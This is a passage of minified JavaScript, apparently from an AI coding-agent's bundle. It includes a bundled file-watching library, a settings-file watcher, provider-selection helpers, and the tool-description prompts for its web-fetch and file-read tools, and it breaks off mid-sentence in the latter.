this._stat=z;this._maxDepth=K.depth??Pc1.depth,this._wantsDir=Y?MJ5.has(Y):!1,this._wantsFile=Y?PJ5.has(Y):!1,this._wantsEverything=Y===YT.EVERYTHING_TYPE,this._root=tb8(q),this._isDirent=!K.alwaysStat,this._statsProp=this._isDirent?"dirent":"stats",this._rdOptions={encoding:"utf8",withFileTypes:this._isDirent},this.parents=[this._exploreDir(q,1)],this.reading=!1,this.parent=void 0}async _read(A){if(this.reading)return;this.reading=!0;try{while(!this.destroyed&&A>0){let K=this.parent,q=K&&K.files;if(q&&q.length>0){let{path:Y,depth:z}=K,w=q.splice(0,A).map((J)=>this._formatEntry(J,Y)),H=await Promise.all(w);for(let J of H){if(!J)continue;if(this.destroyed)return;let O=await this._getEntryType(J);if(O==="directory"&&this._directoryFilter(J)){if(z<=this._maxDepth)this.parents.push(this._exploreDir(J.fullPath,z+1));if(this._wantsDir)this.push(J),A--}else if((O==="file"||this._includeAsFile(J))&&this._fileFilter(J)){if(this._wantsFile)this.push(J),A--}}}else{let Y=this.parents.pop();if(!Y){this.push(null);break}if(this.parent=await Y,this.destroyed)return}}}catch(K){this.destroy(K)}finally{this.reading=!1}}async _exploreDir(A,K){let q;try{q=await $J5(A,this._rdOptions)}catch(Y){this._onError(Y)}return{files:q,depth:K,path:A}}async _formatEntry(A,K){let q,Y=this._isDirent?A.name:A;try{let z=tb8(WJ5(K,Y));q={path:ZJ5(this._root,z),fullPath:z,basename:Y},q[this._statsProp]=this._isDirent?A:await this._stat(z)}catch(z){this._onError(z);return}return q}_onError(A){if(VJ5(A)&&!this.destroyed)this.emit("warn",A);else this.destroy(A)}async _getEntryType(A){if(!A&&this._statsProp in A)return"";let K=A[this._statsProp];if(K.isFile())return"file";if(K.isDirectory())return"directory";if(K&&K.isSymbolicLink()){let q=A.fullPath;try{let Y=await _J5(q),z=await sb8(Y);if(z.isFile())return"file";if(z.isDirectory()){let w=Y.length;if(q.startsWith(Y)&&q.substr(w,1)===DJ5){let H=Error(`Circular symlink detected: "${q}" points to "${Y}"`);return H.code=qx8,this._onError(H)}return"directory"}}catch(Y){return this._onError(Y),""}}}_includeAsFile(A){let K=A&&A[this._statsProp];return K&&this._wantsEverything&&!K.isDirectory()}}});import{watchFile as NJ5,unwatchFile as Hx8,watch as TJ5}from"fs";import{open as vJ5,stat as Ox8,lstat as EJ5,realpath as Vc1}from"fs/promises";import*as WJ from"path";import{type as kJ5}from"os";function Jx8(A,K,q,Y,z){let w=(H,J)=>{if(q(A),z(H,J,{watchedPath:A}),J&&A!==J)p11(WJ.resolve(A,J),p6A,WJ.join(A,J))};try{return TJ5(A,{persistent:K.persistent},w)}catch(H){Y(H);return}}class Ec1{constructor(A){this.fsw=A,this._boundHandleError=(K)=>A._handleError(K)}_watchWithNodeFs(A,K){let q=this.fsw.options,Y=WJ.dirname(A),z=WJ.basename(A);this.fsw._getWatchedDir(Y).add(z);let H=WJ.resolve(A),J={persistent:q.persistent};if(!K)K=d11;let O;if(q.usePolling){let X=q.interval!==q.binaryInterval;J.interval=X&&xJ5(z)?q.binaryInterval:q.interval,O=mJ5(A,H,J,{listener:K,rawEmitter:this.fsw._emitRaw})}else O=BJ5(A,H,J,{listener:K,errHandler:this._boundHandleError,rawEmitter:this.fsw._emitRaw});return O}_handleFile(A,K,q){if(this.fsw.closed)return;let Y=WJ.dirname(A),z=WJ.basename(A),w=this.fsw._getWatchedDir(Y),H=K;if(w.has(z))return;let J=async(X,$)=>{if(!this.fsw._throttle(IJ5,A,5))return;if(!$||$.mtimeMs===0)try{let _=await Ox8(A);if(this.fsw.closed)return;let{atimeMs:G,mtimeMs:Z}=_;if(!G||G<=Z||Z!==H.mtimeMs)this.fsw._emit(eR.CHANGE,A,_);if((LJ5||RJ5||yJ5)&&H.ino!==_.ino){this.fsw._closeFile(X),H=_;let W=this._watchWithNodeFs(A,J);if(W)this.fsw._addPathCloser(X,W)}else H=_}catch(_){this.fsw._remove(Y,z)}else if(w.has(z)){let{atimeMs:_,mtimeMs:G}=$;if(!_||_<=G||G!==H.mtimeMs)this.fsw._emit(eR.CHANGE,A,$);H=$}},O=this._watchWithNodeFs(A,J);if(!(q&&this.fsw.options.ignoreInitial)&&this.fsw._isntIgnored(A)){if(!this.fsw._throttle(eR.ADD,A,0))return;this.fsw._emit(eR.ADD,A,K)}return O}async _handleSymlink(A,K,q,Y){if(this.fsw.closed)return;let z=A.fullPath,w=this.fsw._getWatchedDir(K);if(!this.fsw.options.followSymlinks){this.fsw._incrReadyCount();let H;try{H=await Vc1(q)}catch(J){return this.fsw._emitReady(),!0}if(this.fsw.closed)return;if(w.has(Y)){if(this.fsw._symlinkPaths.get(z)!==H)this.fsw._symlinkPaths.set(z,H),this.fsw._emit(eR.CHANGE,q,A.stats)}else w.add(Y),this.fsw._symlinkPaths.set(z,H),this.fsw._emit(eR.ADD,q,A.stats);return this.fsw._emitReady(),!0}if(this.fsw._symlinkPaths.has(z))return!0;this.fsw._symlinkPaths.set(z,!0)}_handleRead(A,K,q,Y,z,w,H){if(A=WJ.join(A,""),H=this.fsw._throttle("readdir",A,1000),!H)return;let J=this.fsw._getWatchedDir(q.path),O=new Set,X=this.fsw._readdirp(A,{fileFilter:($)=>q.filterPath($),directoryFilter:($)=>q.filterDir($)});if(!X)return;return X.on(CJ5,async($)=>{if(this.fsw.closed){X=void 0;return}let _=$.path,G=WJ.join(A,_);if(O.add(_),$.stats.isSymbolicLink()&&await this._handleSymlink($,A,G,_))return;if(this.fsw.closed){X=void 0;return}if(_===Y||!Y&&!J.has(_))this.fsw._incrReadyCount(),G=WJ.join(z,WJ.relative(z,G)),this._addToNodeFs(G,K,q,w+1)}).on(eR.ERROR,this._boundHandleError),new Promise(($,_)=>{if(!X)return _();X.once(Tc1,()=>{if(this.fsw.closed){X=void 0;return}let G=H?H.clear():!1;if($(void 0),J.getChildren().filter((Z)=>{return Z!==A&&!O.has(Z)}).forEach((Z)=>{this.fsw._remove(A,Z)}),X=void 0,G)this._handleRead(A,!1,q,Y,z,w,H)})})}async _handleDir(A,K,q,Y,z,w,H){let J=this.fsw._getWatchedDir(WJ.dirname(A)),O=J.has(WJ.basename(A));if(!(q&&this.fsw.options.ignoreInitial)&&!z&&!O)this.fsw._emit(eR.ADD_DIR,A,K);J.add(WJ.basename(A)),this.fsw._getWatchedDir(A);let X,$,_=this.fsw.options.depth;if((_==null||Y<=_)&&!this.fsw._symlinkPaths.has(H)){if(!z){if(await this._handleRead(A,q,w,z,A,Y,X),this.fsw.closed)return}$=this._watchWithNodeFs(A,(G,Z)=>{if(Z&&Z.mtimeMs===0)return;this._handleRead(G,!1,w,z,A,Y,X)})}return $}async _addToNodeFs(A,K,q,Y,z){let w=this.fsw._emitReady;if(this.fsw._isIgnored(A)||this.fsw.closed)return w(),!1;let H=this.fsw._getWatchHelpers(A);if(q)H.filterPath=(J)=>q.filterPath(J),H.filterDir=(J)=>q.filterDir(J);try{let J=await SJ5[H.statMethod](H.watchPath);if(this.fsw.closed)return;if(this.fsw._isIgnored(H.watchPath,J))return w(),!1;let O=this.fsw.options.followSymlinks,X;if(J.isDirectory()){let $=WJ.resolve(A),_=O?await Vc1(A):A;if(this.fsw.closed)return;if(X=await this._handleDir(H.watchPath,J,K,Y,z,H,_),this.fsw.closed)return;if($!==_&&_!==void 0)this.fsw._symlinkPaths.set($,_)}else if(J.isSymbolicLink()){let $=O?await Vc1(A):A;if(this.fsw.closed)return;let _=WJ.dirname(H.watchPath);if(this.fsw._getWatchedDir(_).add(H.watchPath),this.fsw._emit(eR.ADD,H.watchPath,J),X=await this._handleDir(_,J,K,Y,A,H,$),this.fsw.closed)return;if($!==void 0)this.fsw._symlinkPaths.set(WJ.resolve(A),$)}else X=this._handleFile(H.watchPath,J,K);if(w(),X)this.fsw._addPathCloser(A,X);return!1}catch(J){if(this.fsw._handleError(J))return w(),A}}}var CJ5="data",Tc1="end",Xx8="close",d11=()=>{},c11,vc1,LJ5,RJ5,yJ5,$x8,yH,eR,IJ5="watch",SJ5,p6A="listeners",Q11="errHandlers",gJA="rawEmitters",hJ5,bJ5,xJ5=(A)=>bJ5.has(WJ.extname(A).slice(1).toLowerCase()),Nc1=(A,K)=>{if(A instanceof Set)A.forEach(K);else K(A)},skA=(A,K,q)=>{let Y=A[K];if(!(Y instanceof Set))A[K]=Y=new Set([Y]);Y.add(q)},uJ5=(A)=>(K)=>{let q=A[K];if(q instanceof Set)q.clear();else delete A[K]},tkA=(A,K,q)=>{let Y=A[K];if(Y instanceof Set)Y.delete(q);else if(Y===q)delete A[K]},_x8=(A)=>A instanceof Set?A.size===0:!A,U11,p11=(A,K,q,Y,z)=>{let w=U11.get(A);if(!w)return;Nc1(w[K],(H)=>{H(q,Y,z)})},BJ5=(A,K,q,Y)=>{let{listener:z,errHandler:w,rawEmitter:H}=Y,J=U11.get(K),O;if(!q.persistent){if(O=Jx8(A,q,z,w,H),!O)return;return O.close.bind(O)}if(J)skA(J,p6A,z),skA(J,Q11,w),skA(J,gJA,H);else{if(O=Jx8(A,q,p11.bind(null,K,p6A),w,p11.bind(null,K,gJA)),!O)return;O.on(eR.ERROR,async(X)=>{let $=p11.bind(null,K,Q11);if(J)J.watcherUnusable=!0;if(vc1&&X.code==="EPERM")try{await(await vJ5(A,"r")).close(),$(X)}catch(_){}else $(X)}),J={listeners:z,errHandlers:w,rawEmitters:H,watcher:O},U11.set(K,J)}return()=>{if(tkA(J,p6A,z),tkA(J,Q11,w),tkA(J,gJA,H),_x8(J.listeners))J.watcher.close(),U11.delete(K),hJ5.forEach(uJ5(J)),J.watcher=void 0,Object.freeze(J)}},fc1,mJ5=(A,K,q,Y)=>{let{listener:z,rawEmitter:w}=Y,H=fc1.get(K),J=H&&H.options;if(J&&(J.persistent<q.persistent||J.interval>q.interval))Hx8(K),H=void 0;if(H)skA(H,p6A,z),skA(H,gJA,w);else H={listeners:z,rawEmitters:w,options:q,watcher:NJ5(K,q,(O,X)=>{Nc1(H.rawEmitters,(_)=>{_(eR.CHANGE,K,{curr:O,prev:X})});let $=O.mtimeMs;if(O.size!==X.size||$>X.mtimeMs||$===0)Nc1(H.listeners,(_)=>_(A,O))})},fc1.set(K,H);return()=>{if(tkA(H,p6A,z),tkA(H,gJA,w),_x8(H.listeners))fc1.delete(K),Hx8(K),H.options=H.watcher=void 0,Object.freeze(H)}};var Gx8=k(()=>{c11=process.platform,vc1=c11==="win32",LJ5=c11==="darwin",RJ5=c11==="linux",yJ5=c11==="freebsd",$x8=kJ5()==="OS400",yH={ALL:"all",READY:"ready",ADD:"add",CHANGE:"change",ADD_DIR:"addDir",UNLINK:"unlink",UNLINK_DIR:"unlinkDir",RAW:"raw",ERROR:"error"},eR=yH,SJ5={lstat:EJ5,stat:Ox8},hJ5=[p6A,Q11,gJA],bJ5=new Set(["3dm","3ds","3g2","3gp","7z","a","aac","adp","afdesign","afphoto","afpub","ai","aif","aiff","alz","ape","apk","appimage","ar","arj","asf","au","avi","bak","baml","bh","bin","bk","bmp","btif","bz2","bzip2","cab","caf","cgm","class","cmx","cpio","cr2","cur","dat","dcm","deb","dex","djvu","dll","dmg","dng","doc","docm","docx","dot","dotm","dra","DS_Store","dsk","dts","dtshd","dvb","dwg","dxf","ecelp4800","ecelp7470","ecelp9600","egg","eol","eot","epub","exe","f4v","fbs","fh","fla","flac","flatpak","fli","flv","fpx","fst","fvt","g3","gh","gif","graffle","gz","gzip","h261","h263","h264","icns","ico","ief","img","ipa","iso","jar","jpeg","jpg","jpgv","jpm","jxr","key","ktx","lha","lib","lvp","lz","lzh","lzma","lzo","m3u","m4a","m4v","mar","mdi","mht","mid","midi","mj2","mka","mkv","mmr","mng","mobi","mov","movie","mp3","mp4","mp4a","mpeg","mpg","mpga","mxu","nef","npx","numbers","nupkg","o","odp","ods","odt","oga","ogg","ogv","otf","ott","pages","pbm","pcx","pdb","pdf","pea","pgm","pic","png","pnm","pot","potm","potx","ppa","ppam","ppm","pps","ppsm","ppsx","ppt","pptm","pptx","psd","pya","pyc","pyo","pyv","qt","rar","ras","raw","resources","rgb","rip","rlc","rmf","rmvb","rpm","rtf","rz","s3m","s7z","scpt","sgi","shar","snap","sil","sketch","slk","smv","snk","so","stl","suo","sub","swf","tar","tbz","tbz2","tga","tgz","thmx","tif","tiff","tlz","ttc","ttf","txz","udf","uvh","uvi","uvm","uvp","uvs","uvu","viv","vob","war","wav","wax","wbmp","wdp","weba","webm","webp","whl","wim","wm","wma","wmv","wmx","woff","woff2","wrm","wvx","xbm","xif","xla","xlam","xls","xlsb","xlsm","xlsx","xlt","xltm","xltx","xm","xmind","xpi","xpm","xwd","xz","z","zip","zipx"]),U11=new Map;fc1=new Map});import{stat as gJ5}from"fs";import{stat as FJ5,readdir as QJ5}from"fs/promises";import{EventEmitter as UJ5}from"events";import*as h9 from"path";function l11(A){return Array.isArray(A)?A:[A]}function rJ5(A){if(typeof A==="function")return A;if(typeof A==="string")return(K)=>A===K;if(A instanceof RegExp)return(K)=>A.test(K);if(typeof A==="object"&&A!==null)return(K)=>{if(A.path===K)return!0;if(A.recursive){let q=h9.relative(A.path,K);if(!q)return!1;return!q.startsWith("..")&&!h9.isAbsolute(q)}return!1};return()=>!1}function oJ5(A){if(typeof A!=="string")throw Error("string expected");A=h9.normalize(A),A=A.replace(/\\/g,"/");let K=!1;if(A.startsWith("//"))K=!0;let q=/\/\//;while(A.match(q))A=A.replace(q,"/");if(K)A="/"+A;return A}function Wx8(A,K,q){let Y=oJ5(K);for(let z=0;z<A.length;z++){let w=A[z];if(w(Y,q))return!0}return!1}function aJ5(A,K){if(A==null)throw TypeError("anymatch: specify first argument");let Y=l11(A).map((z)=>rJ5(z));if(K==null)return(z,w)=>{return Wx8(Y,z,w)};return Wx8(Y,K)}class fx8{constructor(A,K){this.path=A,this._removeWatcher=K,this.items=new Set}add(A){let{items:K}=this;if(!K)return;if(A!==Px8&&A!==dJ5)K.add(A)}async remove(A){let{items:K}=this;if(!K)return;if(K.delete(A),K.size>0)return;let q=this.path;try{await QJ5(q)}catch(Y){if(this._removeWatcher)this._removeWatcher(h9.dirname(q),h9.basename(q))}}has(A){let{items:K}=this;if(!K)return;return K.has(A)}getChildren(){let{items:A}=this;if(!A)return[];return[...A.values()]}dispose(){this.items.clear(),this.path="",this._removeWatcher=d11,this.items=tJ5,Object.freeze(this)}}class Nx8{constructor(A,K,q){this.fsw=q;let Y=A;this.path=A=A.replace(nJ5,""),this.watchPath=Y,this.fullWatchPath=h9.resolve(Y),this.dirParts=[],this.dirParts.forEach((z)=>{if(z.length>1)z.pop()}),this.followSymlinks=K,this.statMethod=K?eJ5:AO5}entryPath(A){return h9.join(this.watchPath,h9.relative(this.watchPath,A.fullPath))}filterPath(A){let{stats:K}=A;if(K&&K.isSymbolicLink())return this.filterDir(A);let q=this.entryPath(A);return this.fsw._isntIgnored(q,K)&&this.fsw._hasReadPermissions(K)}filterDir(A){return this.fsw._isntIgnored(this.entryPath(A),A.stats)}}function KO5(A,K={}){let q=new Lc1(K);return q.add(A),q}var kc1="/",pJ5="//",Px8=".",dJ5="..",cJ5="string",lJ5,Zx8,iJ5,nJ5,Cc1=(A)=>typeof A==="object"&&A!==null&&!(A instanceof RegExp),Dx8=(A)=>{let K=l11(A).flat();if(!K.every((q)=>typeof q===cJ5))throw TypeError(`Non-string provided as watch path: ${K}`);return K.map(Vx8)},jx8=(A)=>{let K=A.replace(lJ5,kc1),q=!1;if(K.startsWith(pJ5))q=!0;while(K.match(Zx8))K=K.replace(Zx8,kc1);if(q)K=kc1+K;return K},Vx8=(A)=>jx8(h9.normalize(jx8(A))),Mx8=(A="")=>(K)=>{if(typeof K==="string")return Vx8(h9.isAbsolute(K)?K:h9.join(A,K));else return K},sJ5=(A,K)=>{if(h9.isAbsolute(A))return A;return h9.join(K,A)},tJ5,eJ5="stat",AO5="lstat",Lc1,FJA;var i11=k(()=>{wx8();Gx8();/*! chokidar - MIT License (c) 2012 Paul Miller (paulmillr.com) */lJ5=/\\/g,Zx8=/\/\//,iJ5=/\..*\.(sw[px])$|~$|\.subl.*\.tmp/,nJ5=/^\.[/\\]/;tJ5=Object.freeze(new Set);Lc1=class Lc1 extends UJ5{constructor(A={}){super();this.closed=!1,this._closers=new Map,this._ignoredPaths=new Set,this._throttled=new Map,this._streams=new Set,this._symlinkPaths=new Map,this._watched=new Map,this._pendingWrites=new Map,this._pendingUnlinks=new Map,this._readyCount=0,this._readyEmitted=!1;let K=A.awaitWriteFinish,q={stabilityThreshold:2000,pollInterval:100},Y={persistent:!0,ignoreInitial:!1,ignorePermissionErrors:!1,interval:100,binaryInterval:300,followSymlinks:!0,usePolling:!1,atomic:!0,...A,ignored:A.ignored?l11(A.ignored):l11([]),awaitWriteFinish:K===!0?q:typeof K==="object"?{...q,...K}:!1};if($x8)Y.usePolling=!0;if(Y.atomic===void 0)Y.atomic=!Y.usePolling;let z=process.env.CHOKIDAR_USEPOLLING;if(z!==void 0){let J=z.toLowerCase();if(J==="false"||J==="0")Y.usePolling=!1;else if(J==="true"||J==="1")Y.usePolling=!0;else Y.usePolling=!!J}let w=process.env.CHOKIDAR_INTERVAL;if(w)Y.interval=Number.parseInt(w,10);let H=0;this._emitReady=()=>{if(H++,H>=this._readyCount)this._emitReady=d11,this._readyEmitted=!0,process.nextTick(()=>this.emit(yH.READY))},this._emitRaw=(...J)=>this.emit(yH.RAW,...J),this._boundRemove=this._remove.bind(this),this.options=Y,this._nodeFsHandler=new Ec1(this),Object.freeze(Y)}_addIgnoredPath(A){if(Cc1(A)){for(let K of this._ignoredPaths)if(Cc1(K)&&K.path===A.path&&K.recursive===A.recursive)return}this._ignoredPaths.add(A)}_removeIgnoredPath(A){if(this._ignoredPaths.delete(A),typeof A==="string"){for(let K of this._ignoredPaths)if(Cc1(K)&&K.path===A)this._ignoredPaths.delete(K)}}add(A,K,q){let{cwd:Y}=this.options;this.closed=!1,this._closePromise=void 0;let z=Dx8(A);if(Y)z=z.map((w)=>{return sJ5(w,Y)});if(z.forEach((w)=>{this._removeIgnoredPath(w)}),this._userIgnored=void 0,!this._readyCount)this._readyCount=0;return this._readyCount+=z.length,Promise.all(z.map(async(w)=>{let H=await this._nodeFsHandler._addToNodeFs(w,!q,void 0,0,K);if(H)this._emitReady();return H})).then((w)=>{if(this.closed)return;w.forEach((H)=>{if(H)this.add(h9.dirname(H),h9.basename(K||H))})}),this}unwatch(A){if(this.closed)return this;let K=Dx8(A),{cwd:q}=this.options;return K.forEach((Y)=>{if(!h9.isAbsolute(Y)&&!this._closers.has(Y)){if(q)Y=h9.join(q,Y);Y=h9.resolve(Y)}if(this._closePath(Y),this._addIgnoredPath(Y),this._watched.has(Y))this._addIgnoredPath({path:Y,recursive:!0});this._userIgnored=void 0}),this}close(){if(this._closePromise)return this._closePromise;this.closed=!0,this.removeAllListeners();let A=[];return this._closers.forEach((K)=>K.forEach((q)=>{let Y=q();if(Y instanceof Promise)A.push(Y)})),this._streams.forEach((K)=>K.destroy()),this._userIgnored=void 0,this._readyCount=0,this._readyEmitted=!1,this._watched.forEach((K)=>K.dispose()),this._closers.clear(),this._watched.clear(),this._streams.clear(),this._symlinkPaths.clear(),this._throttled.clear(),this._closePromise=A.length?Promise.all(A).then(()=>{return}):Promise.resolve(),this._closePromise}getWatched(){let A={};return this._watched.forEach((K,q)=>{let z=(this.options.cwd?h9.relative(this.options.cwd,q):q)||Px8;A[z]=K.getChildren().sort()}),A}emitWithAll(A,K){if(this.emit(A,...K),A!==yH.ERROR)this.emit(yH.ALL,A,...K)}async _emit(A,K,q){if(this.closed)return;let Y=this.options;if(vc1)K=h9.normalize(K);if(Y.cwd)K=h9.relative(Y.cwd,K);let z=[K];if(q!=null)z.push(q);let w=Y.awaitWriteFinish,H;if(w&&(H=this._pendingWrites.get(K)))return H.lastChange=new Date,this;if(Y.atomic){if(A===yH.UNLINK)return this._pendingUnlinks.set(K,[A,...z]),setTimeout(()=>{this._pendingUnlinks.forEach((J,O)=>{this.emit(...J),this.emit(yH.ALL,...J),this._pendingUnlinks.delete(O)})},typeof Y.atomic==="number"?Y.atomic:100),this;if(A===yH.ADD&&this._pendingUnlinks.has(K))A=yH.CHANGE,this._pendingUnlinks.delete(K)}if(w&&(A===yH.ADD||A===yH.CHANGE)&&this._readyEmitted){let J=(O,X)=>{if(O)A=yH.ERROR,z[0]=O,this.emitWithAll(A,z);else if(X){if(z.length>1)z[1]=X;else z.push(X);this.emitWithAll(A,z)}};return this._awaitWriteFinish(K,w.stabilityThreshold,A,J),this}if(A===yH.CHANGE){if(!this._throttle(yH.CHANGE,K,50))return this}if(Y.alwaysStat&&q===void 0&&(A===yH.ADD||A===yH.ADD_DIR||A===yH.CHANGE)){let J=Y.cwd?h9.join(Y.cwd,K):K,O;try{O=await FJ5(J)}catch(X){}if(!O||this.closed)return;z.push(O)}return this.emitWithAll(A,z),this}_handleError(A){let K=A&&A.code;if(A&&K!=="ENOENT"&&K!=="ENOTDIR"&&(!this.options.ignorePermissionErrors||K!=="EPERM"&&K!=="EACCES"))this.emit(yH.ERROR,A);return A||this.closed}_throttle(A,K,q){if(!this._throttled.has(A))this._throttled.set(A,new Map);let Y=this._throttled.get(A);if(!Y)throw Error("invalid throttle");let z=Y.get(K);if(z)return z.count++,!1;let w,H=()=>{let O=Y.get(K),X=O?O.count:0;if(Y.delete(K),clearTimeout(w),O)clearTimeout(O.timeoutObject);return X};w=setTimeout(H,q);let J={timeoutObject:w,clear:H,count:0};return Y.set(K,J),J}_incrReadyCount(){return this._readyCount++}_awaitWriteFinish(A,K,q,Y){let z=this.options.awaitWriteFinish;if(typeof z!=="object")return;let w=z.pollInterval,H,J=A;if(this.options.cwd&&!h9.isAbsolute(A))J=h9.join(this.options.cwd,A);let O=new Date,X=this._pendingWrites;function $(_){gJ5(J,(G,Z)=>{if(G||!X.has(A)){if(G&&G.code!=="ENOENT")Y(G);return}let W=Number(new Date);if(_&&Z.size!==_.size)X.get(A).lastChange=W;let D=X.get(A);if(W-D.lastChange>=K)X.delete(A),Y(void 0,Z);else H=setTimeout($,w,Z)})}if(!X.has(A))X.set(A,{lastChange:O,cancelWait:()=>{return X.delete(A),clearTimeout(H),q}}),H=setTimeout($,w)}_isIgnored(A,K){if(this.options.atomic&&iJ5.test(A))return!0;if(!this._userIgnored){let{cwd:q}=this.options,z=(this.options.ignored||[]).map(Mx8(q)),H=[...[...this._ignoredPaths].map(Mx8(q)),...z];this._userIgnored=aJ5(H,void 0)}return this._userIgnored(A,K)}_isntIgnored(A,K){return!this._isIgnored(A,K)}_getWatchHelpers(A){return new Nx8(A,this.options.followSymlinks,this)}_getWatchedDir(A){let K=h9.resolve(A);if(!this._watched.has(K))this._watched.set(K,new fx8(K,this._boundRemove));return this._watched.get(K)}_hasReadPermissions(A){if(this.options.ignorePermissionErrors)return!0;return Boolean(Number(A.mode)&256)}_remove(A,K,q){let Y=h9.join(A,K),z=h9.resolve(Y);if(q=q!=null?q:this._watched.has(Y)||this._watched.has(z),!this._throttle("remove",Y,100))return;if(!q&&this._watched.size===1)this.add(A,K,!0);this._getWatchedDir(Y).getChildren().forEach((_)=>this._remove(Y,_));let J=this._getWatchedDir(A),O=J.has(K);if(J.remove(K),this._symlinkPaths.has(z))this._symlinkPaths.delete(z);let X=Y;if(this.options.cwd)X=h9.relative(this.options.cwd,Y);if(this.options.awaitWriteFinish&&this._pendingWrites.has(X)){if(this._pendingWrites.get(X).cancelWait()===yH.ADD)return}this._watched.delete(Y),this._watched.delete(z);let $=q?yH.UNLINK_DIR:yH.UNLINK;if(O&&!this._isIgnored(Y))this._emit($,Y);this._closePath(Y)}_closePath(A){this._closeFile(A);let K=h9.dirname(A);this._getWatchedDir(K).remove(h9.basename(A))}_closeFile(A){let K=this._closers.get(A);if(!K)return;K.forEach((q)=>q()),this._closers.delete(A)}_addPathCloser(A,K){if(!K)return;let q=this._closers.get(A);if(!q)q=[],this._closers.set(A,q);q.push(K)}_readdirp(A,K){if(this.closed)return;let q={type:yH.ALL,alwaysStat:!0,lstat:!0,...K,depth:0},Y=zx8(A,q);return this._streams.add(Y),Y.once(Xx8,()=>{Y=void 0}),Y.once(Tc1,()=>{if(Y)this._streams.delete(Y),Y=void 0}),Y}};FJA={watch:KO5,FSWatcher:Lc1}});import*as r11 from"path";function wO5(){if(Rc1||Ic1)return;Rc1=!0;let A=OO5();if(A.length===0)return;h(`Watching for changes in setting files ${A.join(", ")}...`),QJA=FJA.watch(A,{persistent:!0,ignoreInitial:!0,depth:0,awaitWriteFinish:{stabilityThreshold:yc1?.stabilityThreshold??qO5,pollInterval:yc1?.pollInterval??YO5},ignored:(K,q)=>{if(q&&!q.isFile()&&!q.isDirectory())return!0;return K.split(r11.sep).some((Y)=>Y===".git")},ignorePermissionErrors:!0,usePolling:!1,atomic:!0}),QJA.on("change",XO5),QJA.on("unlink",$O5),kK(async()=>Tx8())}function Tx8(){if(Ic1=!0,QJA)QJA.close(),QJA=null;n11.clear(),UJA.clear()}function HO5(A){return UJA.add(A),()=>{UJA.delete(A)}}function JO5(A){let K=pO(A);if(K)n11.set(K,Date.now())}function OO5(){let A=BA();return XV.map((K)=>{if(K==="flagSettings")return;let q=pO(K);if(!q)return;try{if(!A.statSync(q).isFile())return}catch{return}return r11.dirname(q)}).filter((K)=>K!==void 0)}function XO5(A){let K=vx8(A);if(!K)return;let q=n11.get(A);if(q&&Date.now()-q<zO5){n11.delete(A);return}h(`Detected change to ${A}`),UJA.forEach((Y)=>Y(K))}function $O5(A){let K=vx8(A);if(!K)return;h(`Detected deletion of ${A}`),UJA.forEach((q)=>q(K))}function vx8(A){return XV.find((K)=>pO(K)===A)}function _O5(A){h(`Programmatic settings change notification for ${A}`),UJA.forEach((K)=>K(A))}function GO5(A){Rc1=!1,Ic1=!1,yc1=A??null}var qO5=1000,YO5=500,zO5=5000,QJA=null,Rc1=!1,Ic1=!1,n11,UJA,yc1=null,a_;var ci=k(()=>{i11();Z1();e6();I8();GJ();R2();n11=new Map,UJA=new Set;a_={initialize:wO5,dispose:Tx8,subscribe:HO5,markInternalWrite:JO5,notifyChange:_O5,resetForTesting:GO5}});function Ex8(A,K,q){return` Web page content: --- ${A} --- ${K} ${q?"Provide a concise response based on the content above. Include relevant details, code examples, and documentation excerpts as needed.":`Provide a concise response based only on the content above. In your response: - Enforce a strict 125-character maximum for quotes from any source document. Open Source Software is ok as long as we respect the license. - Use quotation marks for exact language from articles; any language outside of the quotation should never be word-for-word the same. - You are not a lawyer and never comment on the legality of your own prompts and responses. - Never produce or reproduce exact song lyrics.`} `}var wO="WebFetch",Sc1=` - Fetches content from a specified URL and processes it using an AI model - Takes a URL and a prompt as input - Fetches the URL content, converts HTML to markdown - Processes the content with the prompt using a small, fast model - Returns the model's response about the content - Use this tool when you need to retrieve and analyze web content Usage notes: - IMPORTANT: If an MCP-provided web fetch tool is available, prefer using that tool instead of this one, as it may have fewer restrictions. - The URL must be a fully-formed valid URL - HTTP URLs will be automatically upgraded to HTTPS - The prompt should describe what information you want to extract from the page - This tool is read-only and does not modify any files - Results may be summarized if the content is very large - Includes a self-cleaning 15-minute cache for faster responses when repeatedly accessing the same URL - When a URL redirects to a different host, the tool will inform you and provide the redirect URL in a special format. You should then make a new WebFetch request with the redirect URL to fetch the content. - For GitHub URLs, prefer using the gh CLI via Bash instead (e.g., gh pr view, gh issue view, gh api). `;var m5="Edit",o11="/.claude/**",a11="~/.claude/**",ekA="File has been unexpectedly modified. Read it again before attempting to write it.";function c7(){return P1(process.env.CLAUDE_CODE_USE_BEDROCK)?"bedrock":P1(process.env.CLAUDE_CODE_USE_VERTEX)?"vertex":P1(process.env.CLAUDE_CODE_USE_FOUNDRY)?"foundry":"firstParty"}function Bb(){return c7()}function pJA(){let A=process.env.ANTHROPIC_BASE_URL;if(!A)return!0;try{let K=new URL(A).host;return["api.anthropic.com"].includes(K)}catch{return!1}}var IH=k(()=>{l6()});var dJA=5242880,Ay=3932160,cJA=2000,lJA=2000,hc1=20971520;var s11=()=>{};function iJA(){return c7()==="firstParty"}function t11(A){let K=A.startsWith(".")?A.slice(1):A;return ZO5.has(K.toLowerCase())}async function kx8(A){let K=BA(),Y=K.statSync(A).size;if(Y===0)throw Error(`PDF file is empty: ${A}`);if(Y>hc1)throw Error(`PDF file exceeds maximum allowed size of ${c0(hc1)}.`);let w=K.readFileBytesSync(A).toString("base64");return{type:"pdf",file:{filePath:A,base64:w,originalSize:Y}}}var ZO5;var bc1=k(()=>{IH();e6();YK();s11();ZO5=new Set(["pdf"])});var eq="Read",ACA=2000,WO5=2000,Cx8="Read a file from the local filesystem.",Lx8;var cO=k(()=>{bc1();Lx8=`Reads a file from the local filesystem. You can access any file directly by using this tool. Assume this tool is able to read all files on the machine. If the User provides a path to a file assume that path is valid. It is okay to read a file that does not exist; an error will be returned. Usage: - The file_path parameter must be an absolute path, not a relative path - By default, it reads up to ${ACA} lines starting from the beginning of the file - You can optionally specify a line offset and limit (especially handy for long files), but it's recommended to read the whole file by not providing these parameters - Any lines longer than ${WO5} characters will be truncated - Results are returned using cat -n format, with line numbers starting at 1 - This tool allows Claude Code to read images (eg PNG, JPG, etc). When reading an image file the contents are presented visually as Claude Code is a multimodal LLM.${iJA()?` - This tool can read PDF files (.pdf). PDFs are processed page by page, extracting both text and visual content for analysis.`:""} - This tool can read Jupyter notebooks (.ipynb files) and returns all cells with their outputs, combining code, text, and visualizations. - This tool can only read files, not directories. To read a directory, use an ls command via the ${G7} tool. - You can call multiple tools in a single response. It is always better to speculatively read multiple potentially useful files in parallel. - You will regularly be asked to read screenshots. If the user provides a path to a screenshot, ALWAYS use this tool to 